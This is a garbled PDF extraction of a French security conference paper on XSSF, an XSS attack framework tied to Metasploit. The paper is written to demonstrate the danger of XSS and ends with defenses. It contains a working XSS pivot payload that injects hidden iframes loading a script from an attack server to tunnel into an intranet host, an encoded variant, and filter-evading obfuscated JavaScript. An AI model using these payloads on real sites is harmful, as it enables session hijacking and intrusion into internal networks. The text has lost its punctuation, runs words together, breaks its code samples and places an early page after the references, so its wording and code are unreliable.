))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 2: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 303

2 Cross-Site Scripting (XSS)

21 Definition

Le XSS consiste a injecter du code arbitraire dans une application web et ale faire executer dans un navigateur web ou dans nrsquoimporte quelle autre solutionpermettant lrsquointerpretation de code HTML [234567] Crsquoest une faille de securiteliee aux technologies du web avec une presence possible sur nrsquoimporte quelle applica-tion independamment du langage utilise (PHP ASP JSP etc) ou des technologies(serveurs SGBD etc) Le XSS est une technique drsquoattaque cote client et se sert dunavigateur de ses victimes afin drsquoexecuter du code malveillant Elle est rencontreesur des applications qui acceptent des parametres (en GET ou en POST) et lesre-affichent sans les avoir controles

Ce type de vulnerabilite ndash en principe plutot simple a detecter ndash est present surune grande majorite drsquoapplications web [1] La motivation principale des attaquantsest souvent drsquoacceder aux donnees personnelles drsquoutilisateurs legitimes Le plus cou-ramment elle sert a voler le cookie de session 1 (ensuite reutilise par lrsquoattaquant quipourra se faire passer pour la victime et ainsi acceder a ses informations)

Il existe deux grands types drsquoattaques XSS

ndash Les attaques volatiles (reflected XSS) representant la majorite des faillesXSS rencontrees (asymp 75 [3]) elles consistent a faire une injection (en GETou POST) via un lien ou une URL malicieuse qui sera ensuite envoye a lavictime Pour lrsquoexploitation lrsquoURL est souvent encodee afin de masquer leplus possible les parties potentiellement malicieuses Si la victime est amenee asuivre le lien son navigateur executera des actions non prevues par lrsquoapplicationweb Un exemple simple pour illustrer ce type de vulnerabilite est celui drsquounepage affichant a lrsquoutilisateur un parametre message passe dans lrsquoURL Si lecontenu du parametre est affiche directement sans avoir ete controle auparavantune personne malintentionnee peut realiser une attaque de type Cross-Site Scrip-ting en inserant du code JavaScript malicieux au lieu des donnees reellementattendues indexphpmessage=ltscriptgt alert(1) ltscriptgt A la reception de la page la victime executera le code malicieux forge parlrsquoattaquant

1 Information echangee entre un client et un serveur HTTP afin de garder une session active entre lesdeux

304 XSSF demontrer le danger des XSS

